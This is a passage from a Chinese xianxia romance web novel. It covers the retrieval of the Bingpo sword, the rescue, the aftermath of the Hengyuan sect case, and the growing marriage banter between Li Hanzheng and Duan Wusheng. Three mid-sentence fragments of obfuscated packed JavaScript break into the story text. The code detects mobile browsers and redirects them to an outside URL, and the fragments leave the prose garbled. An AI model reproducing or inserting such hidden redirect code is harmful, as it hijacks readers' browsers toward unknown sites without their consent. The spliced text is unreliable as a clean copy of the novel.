萧景暗暗咬牙。他就没见过这么狡猾多思的人,谎言一句套着一句,装出一幅恭谦单纯的模样,实际上心眼跟筛子一样,内里都是满满的乖张和恶趣味,就喜欢吊着别人的心七上八下,然后再用一句话击溃对方所有的期望。 难道……她发现了……不,不可能,那个地方只有他一个人知道……不,还有一个人,只是那个人,若是想要直接来取便是,用不着绕这么一个大圈子。 “前辈你呢,真的很是谨慎啊,最重要的东西放在最隐秘的地方,设下层层关卡和阻碍,防止别人窥探分毫。” 李寒筝仰着头,狰狞的太岁石像披着忽明忽暗的火光倒映在她黑白分明的瞳孔中,像是一幅波诡云谲的画作,“我一直很不明白,为什么太岁已经被封印在万器之城,你却仍要选择祭祀,难道只是出于某种狂热的信仰吗?” 地牢中,系统的声音回响在耳畔:“除非用某种至阴至煞的东西为凭借,越过万器之城的阻碍,向太岁供奉。” 李寒筝自顾自地否认:“其实是因为你拥有某种东西,至阴至煞,能够跳过万器之城的阻隔,供奉太岁吧?” “比如说,”李寒筝看着萧景的眼睛,一字一句道:“前任魔君楼樱的武器,冰魄剑。” 萧景双颊细微地抖动,冷汗直下,却一字未发,李寒筝便知道自己又猜对了。 原文中段梧声在这个副本里获得了冰魄剑,如今她提前了时间线来到这里,假如冰魄剑还在这里的话,那么就一定在萧景手中。 而萧景这老狐狸,当然会选择将冰魄剑放在重重关卡守护的这里了。 而冰魄剑,就是她此行的目标。 李寒筝捡起上弦月,在黑色石璧上敲敲打打,细细聆听着声音,敲到某一块凸起时,她睁开眼,察觉到了一丝异常,便伸掌覆上,用力一摁。 像是开启了某个机关,层层齿轮啮合转动之声从石壁内部传来。 咔咔的声音越来越近,最后轰然一声,太岁石像的左眼裂开了一道缝隙,寒凉而阴森的气息从缝隙中传出来,风中带着浓重而腐败的血腥味,叫人毛骨悚然不寒而栗。 齿轮转动之声停止,石像左眼消失,取而代之的是一柄剑,通身银白,如同凿下一片冷白的月光放在冰天雪地的苦寒之地冻上万万年,冻成一段彻骨的森寒。 此剑一出,整个石洞都冷了几分。 原文中,主角团被入魔的许易逼到山穷水尽,是段梧声拔出了冰魄剑,半魔禁制被打开,陷入了狂暴状态,这才和许易有一战之力,彻底逆转了战局。 当然,也是许易突然理智清醒一瞬,自己撞上了冰魄剑。 魔族是一种很难杀死的生物,生命力顽强体格强健,毕竟不顽强的根本就没有办法在弱肉强食的魔域活着长大。 难杀之处表现为,就算砍掉手脚,甚至砍掉大脑都能够自行恢复。想要杀死一个魔族,必须得捅入心脏,这是唯一的弱点。 强大的魔族自然早有准备,在心脏处设下重重防护,于是更难杀了。 但冰魄剑作为魔君佩剑,杀伤力自不必说,同时没有必须捅入心脏的限制。 作为一把君王之剑,冰魄剑天生有臣服的效果加成。也就是说,冰魄剑不仅是在执行杀戮,同时也在命令。 命令你死去。 因此被冰魄剑斩杀的魔族,死无可死。 总而言之,冰魄剑是一把很强的剑,也是段梧声一直都在寻找的剑。 萧景意识到了什么,面色极其难看:“你想要冰魄剑?” 李寒筝琢磨着怎么拿到冰魄剑,抽空回答道:“作为输家,这不是你应该考虑的事情。” “你就不害怕我背后之人的报复吗?” 李寒筝偏过来的目光中含着晶亮的讥诮:“手下这么蠢,主人又能聪明到哪里去呢?” 萧景闻言,几乎咬碎了一口牙。 堂堂衡元宗掌门,地位尊崇,还从来没有人敢这样对他说话。 胸腔里烧着憋屈的火,萧景却不得不压下愤怒,看向许易,好声好气地商量:“你以为你找了一个圣人么?豁出性命去帮,简直愚蠢至极。人家想要的可是冰魄剑,救你只是顺带,不对……乖徒儿,你就没有想过,她可能会杀人灭口?狡兔死,走狗烹,许易,你总不能一而再再而三地上当。” 许易垂下眼,面色苍白,眼睫带雪,唇瓣却被鲜血染得殷红,有种雪里红梅的惊心动魄。 他简单地给自己处理着伤口,伤口处皮肉外翻,深可见骨,更兼被魔气侵蚀,看起来简直触目惊心。但他毫不在意地撒上药粉,一声未吭,浑似处理的不是自己的伤口。 听见萧景的话,他轻声道:“与你何干呢?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177322|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 萧景简直要被气疯了,可恨浑身动弹不得。 许易清瘦的脊背靠在冰凉的石壁上,淡淡合上眼。他知道李姑娘另有所图,所以他不会去看,也不会去听。石洞中的一切,他只当从未见过。 李寒筝已经捞起裙子,徒手扒着石壁往上爬。 她知道裴玉仪在她身上放了追踪符,特意将香囊留在换下来的衣服上,又暗示白卉将她的衣服洗干净。 西磨山的土匪不堪一击,他们应该很快就能意识到在没有婚礼的情况下,只有官府才能掌握全镇的婚嫁信息。 而凌驾于官府之上,有权获知婚嫁信息而不引起任何怀疑的,自然就是衡元宗。 衡元宗五年的无作为,也恰恰印证了这一点。 萧景萧含留着还有用,留给主角团或许能审问出些什么。算一算时间,主角团应该马上就要到了。 她得在主角团到达之前把冰魄剑拿到手。 石壁上凹凸不平,倒是好爬,然而爬到石像之上,却陡然觉察到一股阴寒,像是附着骨头生长。 太岁虽然已经被封印在万器之城,但他的石像却仍旧暗含侵蚀的力量,李寒筝偏头吐了口血,给自己喂了颗含清丹,便接着往上爬,脚踩着石像的鼻梁,一手抓着石像的眉毛,伸手往冰魄剑够。 与此同时,萧景充血的双目死死盯着不断靠近冰魄剑的李寒筝,衣袍下的肌肉细微地颤动着,浑身上下的骨头都在咯咯作响,突然他猛地吐出一口血,像是抵达了某个临界点,强行突破了缚山的禁锢,双腿蓄力,猛地一跃。 那一瞬间极慢,像是被凝固。 李寒筝握住冰魄剑剑柄。 萧景飞身而上,一手去夺冰魄剑,一手劈中李寒筝腹部。 李寒筝死死攥紧冰魄剑,在这一掌的力道下,连人带剑如同断线纸鸢般飞了出去,鲜血从她唇中溢出,在微黯的火光中瓢泼出一朵艳丽的血花。 许易踉跄着奔下高台,萧景和冰魄剑失之交臂,状若癫狂地大笑。 当此之时,只听一声极小的嗡鸣,在这一粒沙的时间里,风中刺破一抹白亮的光,恍若流星划过。 那不是流星,而是一把剑,当胸插入萧景体内,去势不减,鲜血都未来得及溅起,将萧景钉在了石壁上。 李寒筝觉得自己如同一块石头,飞速往下坠落,所有光芒和声音都在她的感知中飞速远去,只有身下无穷的黑暗和无尽的幽冷张着狰狞可怖的嘴将她吞噬。 一只手臂搂住了她的腰,将她从几近溺毙的黑暗中给拉了出来。 李寒筝无声地弯起嘴角。 来得很及时嘛。 许易蓦地止住脚步,愣在了原地,双眼茫然地睁着,伤口崩开却浑然不觉。 视线的尽头,突然出现的青年抱着李寒筝轻轻落在石台上,衣摆飘飞,无尘似仙,雪冷玉皓。 许易知道这个人,暮山的少剑仙,他曾经远远看过一眼。他凝视良久,后知后觉感到了疼痛,低头一看,那是伤口正在流血。 段梧声垂下眼,看见怀中人紧紧抱着的剑,轻微皱起眉,“李寒筝?” 李寒筝咳了咳,睁开一双明灿如星的眼睛:“我在。” “这把剑?” 李寒筝笑得很是灿烂:“聘礼!” 周遭一切声响忽然远去,段梧声有些疑心自己听错了。 李寒筝亮晶晶的眼睛看着他的眼睛。 “聘你为我的夫君。” * 萧景拔不出穿胸的这把剑,无能狂怒地大吼:“来者何人?” 裴玉仪握刀从黑暗中走出,环视一周,冷冷吐出几个字:“裴家,裴玉仪。” 洛意跟在她身后,朗声道:“洛家,洛意。” 这两个名字如同两座大山压在萧景身上,每听一句,他的脸色便灰败一分,不可置信地喃喃自语:“不可能……怎么可能……我布了那么多阵法……” 裴玉仪见师弟已经救下寒筝,悬着的心终于放下来,她飞过吊桥,落在祭坛上,看清祭坛上的阵法和石柱上昏倒的新娘后,她的目光彻底冷下,一字一句道:“朱衣血祀。” 她抬起头,看向萧景:“衡元宗掌门萧景,你违背了仙盟的规定。” 萧景目光中满是歇斯底里的疯狂,他握住剑柄,双臂青筋鼓起,两眼充血,一寸一寸拔出了段梧声的剑,丢在一旁,而后召唤出自己的本命剑,朝着裴玉仪狂奔而去。 裴玉仪抽刀一劈,萧景却没有躲,他主动撞上了裴玉仪的刀,挥剑没有进攻,而是掷了出去,剑身没入了萧景的心口。 萧含双眼圆瞪,嗬嗬几声,立时便断了气。 裴玉仪顿了一秒,方才意识到这人是要求死。 刀尖已然刺穿胸口,鲜血汩汩流出,萧景后退一步,嘴唇颤动,像是想要说什么,终究一个字也没来得及吐出,轰然倒下。 袁期半蹲在地,探了探他的脉搏,对着裴玉仪摇了摇头:“他已经死了。” 洛意本来站在一旁,时不时地看一眼李寒筝,想要解释又放不下面子,十分之尴尬,此时有了关注点,很忙的样子对着萧景的尸体左看右看,“师姐,为什么他要自尽呀?” 裴玉仪挥干血迹还刀入鞘,道:“我亦不知,此事事关重大,需得上告掌门。” 28. 两情(1) 简单的新娘失踪案牵涉到向太岁祭祀,就变得不简单起来,消息一传回暮山,便掀起了轩然大波。 衡元宗不算大宗,但好歹是仙盟认证的宗门,有传承有名声,却掳走新娘进行朱衣血祀,掌门和掌门之子甚至畏罪自杀,如此种种,疑点颇多,牵扯甚大,不得不着重调查。 裴玉仪身为仙盟太常司司常,主管稽查核验,便全权主管此事,带着太常司弟子将衡元宗及华灵宫秘境翻来覆去仔仔细细查了好几遍,往来人员隔离审查,确保没有一个漏网之鱼。 因着此事,主角团便在半桑坡留了下来,住在一家客栈中。 李寒筝到底受了伤,先是险些被萧景掐死,后又在爬太岁石像时被阴煞之气侵蚀,最后还被萧景拍了一掌,虽然强撑着一口气流氓般调戏了段梧声几句,但还是晕了过去,三天后方才悠悠醒来。 正是半下午,阳光透过支摘窗,铺在窗下的茶案上,瓢泼出金灿灿的一片,像是琥珀。 段梧声就坐在茶案旁,阳光在他衣衫眉眼上错落,勾勒出阴影渲染出明亮,像是一副极好的彩色油画。 他手握剑柄半出剑鞘,正垂着眸打量。 李寒筝意识回笼,便觉浑身酸疼,睁开眼就吱哇乱叫起来,叫了半晌,发现段梧声竟然无动于衷,面无表情地敲了敲床沿:“快点和我说话。” 段梧声还剑于鞘,搁在桌上,目光移过来,问道:“说什么?” 李寒筝小小哼了一声:“我浑身酸疼,你知道为什么吗?” “你身上用的药都是上好灵药,按理来说你的伤势应当已经完全恢复,现下应该没有任何痛楚,”段梧声思量一瞬,补充道:“若仍是酸疼,应当是你睡了太久。” 李寒筝噎了一下,决定将他的话当做耳旁风,依旧自说自话:“这都是为了给你拿聘礼,喏,就是你手边那把剑。” “是么?”段梧声目光平静地望进她的眼底:“你如何知道我想要这把剑?” 李寒筝半撑着身体坐起来,倚着床头板,拖长了声音,有些懒洋洋的:“我不知道呀,就是觉得这把剑很漂亮,很衬你,所以拿来给你做聘礼,如何?不算辱没了你吧?” 段梧声一时噎了下,手指摩挲着桌角,在脑海中搜索了一番,没有找到继续问下去的方法。 李寒筝的话就像一堵墙,水做的墙,看起来是软的弹的,实际上却滴水不漏,难以逾越。 难道果真只是碰巧么? 李寒筝半撑着脸,黑白澄澈的眼睛映着午后的阳光,浮光跃金,熠熠生辉,很是自信道:“段梧声,你知道的,从今往后,你再也无法甩脱我,所以——” 她轻巧巧地对着段梧声眨了下眼,笑意盎然:“放弃抵抗吧,你逃不掉的。” 李寒筝这话说得自信而绝对,甚至于挑衅了,段梧声没有被激怒,他一下一下敲着桌面,目光沉静地看着李寒筝。 他调查过李寒筝,她的人生似乎泾渭分明成两个阶段,前十七年养在深闺,如同所有富商小姐一般,大门不出二门不迈,像是在重重帘幕后寂静盛开的花。 直到十七岁的那一刻——父母双亡,寄住在伯父家,因逃避李恪而坠下高楼——她才像是从重重帘幕后走出来,一个虚无缥缈的“李小姐”成了形,骤然具体鲜活起来。 段梧声一寸一寸端详着李寒筝。 乌黑披散的长发笼在肩头,素白里衣裹着的肩膀像是有些单薄,因着初初伤愈,唇瓣亦没有什么血色,整个一位羸弱瘦削的病小姐,却因一双明亮的眼睛而骤然注神点睛,看似不着调实则游刃有余,算计人心一把好手。 她不闪不避由他打量,很为自己容貌骄傲的样子,在茶案上拿了个葡萄放在眼睛旁,表明自己的眼睛像葡萄一样大,手指划过鼻梁掠过下颚线,展示她优越的五官线条,阳光下能够看见皮肤上细细的金色绒毛。 她又扮了个鬼脸,自己却先笑了起来,眼睛朝他眨了眨,“闲着也是闲着,给我削个苹果呗?” 茶案上用白瓷盘盛着很多水果,段梧声默了默,从中拿起一个苹果。 他抽出佩剑来削,用着长剑削一个拳头大的苹果却毫无滞碍,阳光下剑身白亮,汁水蓬散如雾,清新的苹果香四溅而开,薄薄的苹果皮在阳光下几近透明。 段梧声削完,将苹果递给李寒筝,“你说的确实没错。” 先不谈李寒筝到底目的为何,回到这件事本身,李寒筝不是狂妄放狠话,她说的是实话。 她独身一人来到波诡云谲的华灵宫秘境,和远远强于她的衡元宗掌门周旋了如此之久,凭凡人之身揭穿了新娘失踪案的真相和华灵宫朱衣血祀的阴谋,这些功绩若是放在一个平凡弟子身上,足够他晋升掌事,夸耀一生,更别提李寒筝在南熙城蜃楼梦境中亦有诸多贡献。 这三天,李寒筝的名字已经传遍暮山的上上下下,曾经对李寒筝多有嘲讽蔑视的弟子纷纷后悔不迭,三天来想要探望李寒筝的简直可以绕暮山一圈,都被袁期以养伤的名义给挡走了。 这并不奇怪,比起修为,暮山弟子更认实事,李寒筝的功绩是实打实的,暮山弟子很是崇拜这位没有修为却连破两桩大案的凡人姑娘。 与此同时,关于《葛生于野》这本话本的看法也在反转,大家纷纷认为李寒筝有勇有谋,优秀如斯,谁要是辜负她,那简直是人渣中的人渣。 李寒筝接过苹果,咔嚓咬了一口,颇为得意:“当然。” “我需得向你阐明一个道理。” 做好决定,段梧声便不再拖延躲避,只是平静道:“世间夫妻,初始浓情蜜意山盟海誓,往往后来貌合神离同床异梦,甚至背叛相杀,皆都因于一个情字,由情生恨,由情生妒,乃至迷失自我。你万不可深陷于此,亦不可对我有所祈求。” 李寒筝嚼着苹果,歪头想了会:“你说的很有道理,我应了,还有么?” 段梧声本以为李寒筝深陷迷途,这番干脆的回答倒是令他意外,他思索一番,道:“旁的便没有了。” “好,那便到我了。”李寒筝一边咬着苹果,一边道:“从今往后呢,你便是我的夫君了,你需得听我的话,我说什么便是什么,你需得服侍我,为我捏肩打扇,端茶倒水,小意温柔地照料我,万事以我为先,知道了么?” 段梧声将这段话细细想了一遍,心道所谓夫妻倒也不过如此,这些事并不十分难,便点了下头,道:“可以。” 李寒筝又咬了一口苹果:“不止如此,你需得遵守三从四德。” “何解?” “三从,在家从我,外出从我,一切从我,四德,保持美貌教我顺心,听我做事教我安心,说话逗趣教我开心,小意温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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袁期深吸一口气,端着茶杯的手都在抖,茶水晃荡着在溢出的边缘徘徊,“我家妹妹不懂事,我便以茶代酒替她道歉。” 说罢,便将茶水一饮而尽。 段梧声道:“不必道歉。” 袁期一口茶险些喷出来,又听段梧声道:“我已经答应了。” 这一口茶终究还是喷了出来。 袁期顾不得擦拭,惊诧道:“你答应了?” 段梧声颔首:“此事并不难,为何不答应?” 袁期恍恍惚惚:“不难……不难吗?哈哈,不难……” * 袁期仍是十分怀疑,然而接下来的几天段梧声几乎对李寒筝百依百顺,苹果要削,橘子要剥,鱼刺要挑,连饭都要盛好。 裴玉仪见状十分宽慰,道:“师弟,你要好好待寒筝。” 洛意每每看见,神情复杂至极,后来干脆给自己揽了许多公务,每日神龙见尾不见首。 袁期仍是有些恍惚,就这么成功了? 这一日他在房间内研制毒药,发现对面厢房外有一个身影在徘徊。 没错,为了方便观察,袁期直接选了李寒筝对面的房间。 那个徘徊的身影,他也认得,是衡元宗的那个大弟子,叫做许易,主动潜入华灵宫秘境调查真相。 华灵宫那日他便觉得不对,李寒筝晕倒之后,许易一幅很焦急的样子,明明他自己重伤到看上去下一秒就要像雪人一样化掉了,却还担心着李寒筝那不值一提的伤口。 虽然这个推断很惊悚诡异且不可思议,但是袁期觉得,许易可能有点喜欢李寒筝。 唉,可能是瞎了眼吧,被衡元宗残害不浅啊。 但是,如果他没记错的话,段梧声好像正在李寒筝房间里吧? 29. 两情(2) 此刻许易站在李寒筝门前,手中握着一瓶伤药,有些踌躇。 这些日子配合着暮山审讯调查,今日才寻到空,不知不觉便走到了这里。 他知道这瓶药和李姑娘随手拿出的那些药比起来算不上什么,只是……只是李姑娘坠下悬崖的那一幕始终挥之不去,每每闭眼,都是鲜艳的一抹红被黑暗飞速吞噬,而他用尽了力气也触不到一角裙摆。 真是……真是无力呀。 他用力闭了下眼,呼出一口气,伸出手,犹豫着敲下去,此时,门却从里面打开了。 段梧声端着托盘走出来,将门从身后轻声带上,托盘上是已经空了的碗盘。 许易愣了一下,“你为什么会从李姑娘房中走出来,你是李姑娘何人?” 段梧声淡声道:“她的夫君。” 许易又愣了一下,随即不可遏制地愤怒起来,握紧拳头,“既是她的夫君,为何要让她独自一人涉险?” 段梧声想了想:“阿筝想要亲手为我寻得聘礼。” 许易身形晃了晃,有些站不稳,喃喃自语:“她竟如此喜爱你,竟不惜以身涉险为你寻……聘礼,既如此,你可是入赘于李姑娘?” 段梧声觉得嫁娶和入赘并无太大区别,反正婚姻只是一场谎言而已,便道:“正是。” 却见眼前之人身形飘忽,状若失神,将手中药瓶塞给他,说了句“你要好好照料她”之后,便踉踉跄跄地奔走了,像是有些伤心的样子。 段梧声有些不明所以,袁期却笑着推门而出,在他肩上拍了一下,“我本来以为你仙风玉骨,应当察觉不到,没想到你竟然能够杀人于无形,三言两语就把想要撬墙角的人给打发了。” 段梧声疑道:“撬墙角?” 袁期和他对视三秒,确认段梧声是真的不懂,此事纯属瞎猫碰上死耗子。 他顿时觉得惊悚起来,如此,那句“入赘”竟然不是说笑。 恐怖,恐怖如斯,李寒筝一贫如洗,穷得叮当响,到底有什么好入赘的。 他开始对李寒筝肃然起敬起来。 士别三日,没想到她的进展已经如此神速,难道是下了蛊吗? 可李寒筝是个纯纯的弱鸡啊,下哪门子蛊。 此事实乃奇闻,袁期想不通便不再想,伸手拿过段梧声手中的药瓶,拿开塞子闻了下,“确实是好药,他处境那样艰难,自己伤得又那样重,却舍不得用,这份心,确实是难得了,只是错了时候。” 他想了想,又问:“门上贴了静音符么?” “贴了,”段梧声道:“阿筝嫌吵。” 袁期便将伤药塞进怀里,“既然方才没有听到,便不必知道了,就这样吧。” * “呦,已经提前把退休生活过上了?” 日光澄澈如金水,街道上熙熙攘攘,人潮如织。买馄饨的摊子里,老板掀开锅盖,浓白的热气直直腾上来,竹漏勺一捞一倾,浇上汤,撒上葱花虾米,最后淋上辣油和醋,一碗皮薄馅大的馄饨就好了。 老板小跑着端到李寒筝面前,声音又响又亮,尾音拖得长:“加醋加辣,姑娘请慢用——” 李寒筝在客栈里修养了好几天,闲得长霉,便在一个阳光晴朗的下午出了门,老板的声音还没到,她就已经迫不及待地拿好了筷子和勺,端正坐着,笑着向老板道了句谢,吹凉一勺汤尝了口:“嗯,不错。” 被无视的系统踩了踩李寒筝的肩膀,无声昭示着自己的不悦。 李寒筝揉了揉自己的肩膀,故作叹息:“我怀疑我迟早得被你踩出肩周炎来,系统呀系统,你以前不是很高冷嘛,怎么现在动不动就踩人,暴躁,太暴躁了,要不要吃点降火的冰糖炖雪梨?” 系统又踩了一脚,把李寒筝的衣服踩出一个小小的爪印来,“忘记你的任务了?” “我的任务不是完成得很好吗,”李寒筝舀起一颗馄饨吹凉,“穿书三个月不到,攻略对象对我百依百顺,我就问你,还有谁?” 李寒筝一顿自吹自擂,最后下了一个结论:“系统,你应该为我感到骄傲。” 系统凉声道:“请你看看你的红叶手链再说话。” 李寒筝于是看了眼,摩挲着下巴道:“系统,你说我突然得了红绿色盲的可能性有多大?” 系统开始阴阳怪气:“你仔细想想呢。” 李寒筝于是仔细想了。 她是一个拥有许多美好品德的进步青年,这些美好品德就包括理智、自信和坚持。此刻她理智地一通分析,自信地认为自己没有任何问题,坚持道:“肯定是你的手链有问题。” 系统没说话,它又踩了一下。 李寒筝默默把系统换了一边肩膀,然后道:“或许,是段梧声的情感比较含蓄,所以没有体现出来呢?又或许,是段梧声眼睛不太好,欣赏不了我的完美呢?” 系统:“……” “不能怪我嘛,”李寒筝摊手,“那天你也听到了,段梧声他说不要对他抱有幻想的,我能怎么办?” 系统声音更凉了:“他敢说,你竟然还真的答应了。” “不答应的话,”李寒筝一脸郑重:“岂不是显得我很玩不起。” 系统:“……李寒筝,你几岁了?” * 裴玉仪领着太常司,将衡元宗上上下下审问了七八遍,连一个扫山门的都不放过,涉案人员一概关起来,情节重的审问后直接处死,情节轻的罚去干苦力,不知者无罪的关押半月进行思想教育并且罚款。 闲暇时裴玉仪顺便将西磨山的匪患一事给处理了,顺藤摸瓜发现好些人上山为匪都是因为当地官绅的压迫,于是又顺手将半桑坡的贪官豪强给清理了一遍,处死的处死,关押的关押,干苦力的干苦力,贪污的民脂民膏一律散发给镇民。 太常司处理这些事情很有经验,流程清楚,条律完善,整个半桑坡的风气顿时焕然一新,死气沉沉的街道骤然热闹起来,暮山弟子走在路上,还会有感恩的百姓往他们手里塞果蔬和糕点。 但还有几个关键的问题没有得到解决,比如,衡元宗从何得知朱衣血祀的阵法,向太岁供奉又是为了什么?然而萧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177324|196917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家父子已死,其余涉案人员都是半桶子水晃荡,这些问题也就无从得知了。 调查结束,众人便准备启程回暮山。李寒筝在回去之前找了一次白卉,之前李寒筝替嫁的那一次,花轿到了新娘却不见了,对面那富商一见,当下便悔了婚,白父白母想要聘礼的愿望自然是落了空,但仍旧不死心,将念头打回自己亲生女儿头上。 李寒筝是个讲道理的人,但是很可惜,白父白母像是听不懂人话,一些莫名其妙的观念根深蒂固在他们的脑海里,捂住了他们的耳朵和大脑,于是李寒筝不得不纡尊降贵地将白父白母武力“伺候”了一番,当然,她是个很有礼貌的人,事先争取了白卉的同意。 从白家出来,李寒筝直接领着白卉去官府办理了女户,有父母在世,这女户本是根本不可能办成的,但李寒筝好歹是上头有人,管事的一见,不到一盏茶,女户便办好了。 有了独立的女户,白卉的婚姻便不由她的父母做主,而能凭她自己心意。 世界上总有些奇怪的事情,一个人的自由不能自己做主,而由两个畜生做主,然后又能因为一张纸重新获得。 拿到女户凭证的时候,白卉将那薄薄的文书翻来覆去看了好几遍,摩挲着每个字一一看过去,豆大的泪珠止不住地潸潸而下。 李寒筝给了她一张帕子,好笑道:“怎么还哭了?这么高兴的事,走呀,我请去吃酱板鸭。” 走到了酒馆,酱板鸭上了桌,白卉才终于止住眼泪,站起来俯身一拜,“李姐姐,谢谢你。” “不谢,”李寒筝拉着白卉坐下,“这只是一个小土坡而已,你的人生不该拘束于此,所以,你想好未来的去向了么?” 白卉一时没有回答,她们坐在二楼靠窗的饭桌,低头便能看见一楼大堂里的说书先生正在讲故事。 为了吸引顾客,酒楼大多都会请位说书先生来讲传奇演义,有时说书先生请的好,饭菜差些也不要紧,照样能招揽许多顾客。 白卉及笄前常来酒馆听故事,父母都不允,她只能偷偷来,听着听着,偶尔也会在脑海中幻想一些不着调的故事情节。 白卉低头,摩挲着右手手心的纹路,那时只是痴心幻想,而今…… 她定了定神,声音有些颤抖但很清晰:“我想成为一个女说书先生,李姐姐,你会不会觉得我在异想天开?” “当然不会,”李寒筝吃完一个鸭腿,想了想,从储物囊里拿出一沓稿纸,正是之前写给李恪又好心让萧含体验一番的那个故事,“这个故事可能会有些气人,但是还蛮有意思的,当我送给你的第一个故事。” 白卉郑重地接过稿纸,用力嗯了一声。 眼瞧着白卉又要说谢,李寒筝指了指桌上酱板鸭,无奈笑道:“我亲爱的说书先生,别再谢了,快点吃吧,吃饱了才有力气讲故事呢。” 白卉抿唇笑了笑,初夏的风穿过草木繁茂的原野,穿过袅袅炊烟和人声鼎沸,拂起她的长发。 她往窗外看了一眼,视线越过城镇和阡陌田野,终于看见了地平线尽头的苍苍远山和泱泱江河。 30. 两情(3) 返回暮山时坐的是云舟,天空一碧如洗,汪洋如大海,巨大的云舟张开洁白如羽的长帆迎风飞翔,一日不到,便抵达了暮山。 窗外夜色深沉,长风穿梭苍碧竹林,卷起万丈风声,虽已入夏,山中却自有一番凉意,宜入眠。 今时不同往日,李寒筝拥有了正当身份,非常理所当然地躺在了床上,骨头一根根塌下去,像是咸鱼碰见了它躺平一生的锅,实乃天造地设。 所谓山水相逢,知音恨晚,不过如此。 但是她还没睡着,闭上双眼,又睁开,看向屏风上的模糊身影。 段梧声正在屏风后的竹塌上打坐,已过一个时辰,仍旧一动不动,拓印在水墨山水屏风上的影子清隽如鹤,大有打坐到地老天荒的意思。 说来段梧声的竹屋里只有一张床,如此正合她意,她再次闭上眼,而后又睁开,恨恨地戳了戳手腕上的红叶手链,发现实在是一点红色都没有。 这不科学。 李寒筝拥有善于反思的良好品德,一下一下地点着下巴,回想着在穿书攻略局学到的知识点。 肢体接触,是一个增进感情的好方法。 李寒筝觉得这个方法很可行,手掌拢在唇畔,像是在说暗号一样,“阿梧?” 屏风上的身影仍旧未动,但清冷的声音已经响起:“何事?” “你不睡觉么?” “修士不需睡眠亦可,我一贯如此,你不必在意。” 得,这床就是个摆设,李寒筝心疼地拍了拍床,道:“我的意思是,你来陪我一起睡觉。” 半晌寂静,黑暗中亮起一点火光,段梧声手笼着照明符,绕过屏风走到床畔,垂下眼睫看她。 这个角度显得他身姿欣长,仍是白天那身整洁干净的道袍,火光映着周身却还是冷的,面上没什么表情:“为何?” “我害怕。”李寒筝随便想了一个理由,抱着被子移到里侧,拍了拍身侧的位置,“你快躺下来。” 段梧声沉默了会,他是个做事便要全面周到的人,应了李寒筝的请求之后,他看了许多关于凡人的书籍,总结出了几条特征。 凡人寿命短暂,长不过百年,肉身十分脆弱,易患病受伤。许是因此缘故,生诸多怨念偏执,亦很怕死,由此延伸,与死相关之事,都十分害怕,杯弓蛇影、风声鹤唳两词,便是由此而来。 怕黑,似也有几分道理。 段梧声心中微微叹息,合衣躺下,道:“现下还怕么?” 李寒筝唇畔带笑,十分满意:“不怕了。” 段梧声便合上眼开始呼吸吐纳。不过是换个地方换个姿势修炼而已,这于他亦无妨,过往的几万个日子都是这样过来的,今晚应当也是如此。 然而不过三秒,李寒筝凑过来,一只手搭在他腹部,一只腿搭在他双腿上,是一个手脚并用完全拥抱的姿势。 段梧声睁开双眼,微微侧过头,便对上了李寒筝黑白分明的眼睛,沁着点水光样的笑意,无辜道:“你身上很凉快,我热,想抱着你睡觉。” 段梧声是冰灵根,修炼的是冰雪之气,周身自然一片清凉,对于李寒筝而言是凉快,但李寒筝的体温对于段梧声而言,却堪称灼热了。 李寒筝的手长腿也长,细条条地横在他身上,灼热的温度透过布料清晰地传过来,轻柔的呼吸若有似无地蹭着颈窝,如同欲坠不坠的羽毛,段梧声试着合目几次,竟是仍旧难以忽略。 段梧声默了会,道:“你若觉热,我可以给你凝出一些冰块。” “化了之后会弄湿衣服,我会生病。” “霜天策亦很凉爽。” “太硬。” 段梧声默了默,道:“阿筝,或许你应当学着沉心静气,便不觉热了。” 李寒筝将袖子撸开,细细的腕子上挂着一条金色的手链,缀着翠绿的玉质叶子,李寒筝晃了晃手腕,七片叶子随之碰撞出清脆的声音,“绿么?” 段梧声细细看了下,“澄碧如水。” “我也觉得。”李寒筝附和一句,不仅没有沉心静气,后槽牙还磨了磨,没有松开手,反而将侧脸也压上段梧声的胸膛,抱得更紧了,用他的话还他:“你应学着适应。” 段梧声:“……” 他买了百八十本关于凡人的书籍,花两日看完,每一字都记下了,此际又在脑海里过了两三遍,仍是没有想出手链和沉心静气的关系。 或许看的书仍旧不够多。 若无意外,李寒筝还需活上几十年,听说凡人老太太甚为唠叨,他想象了一番这个画面,开始觉得有些头疼。 李寒筝枕在他的胸膛,听了会,伸出手来敲了敲,“你的心跳有些慢。” 段梧声心想,李寒筝还未老,但是已然十分话多。 话多的李寒筝抬起头,脸凑上去,拇指和食指撑着段梧声的两边唇角,推上去,不满意道:“你怎的如此不愿意,被我抱着睡觉可是多少人也求不来的福气。” 两人脸贴得极近,手腿勾缠,目光相接,姿势十足的暧昧迤逦。夏夜寂寂,相依相偎,如此良辰美景,如此大好时机,却全无一丝一毫的羞涩和心动,李寒筝眼里满满的都是对自己的欣赏,段梧声眼里默然一片,十足的无奈。 李寒筝戳了戳段梧声的脸,“你实在是不成器,但是却很幸运,竟然遇见了我,肯纡尊降贵给你做妻子。换做旁人,真是十生十世也求不来的好气运,而你竟然还不珍惜,真是叫人生气。” 段梧声:“……”他觉得冰魄剑似乎也没有那么重要。 不出所料,李寒筝开始起承转自吹:“但我既做了你的妻子,自然会对你负责,放心,我会好好教导你的。” 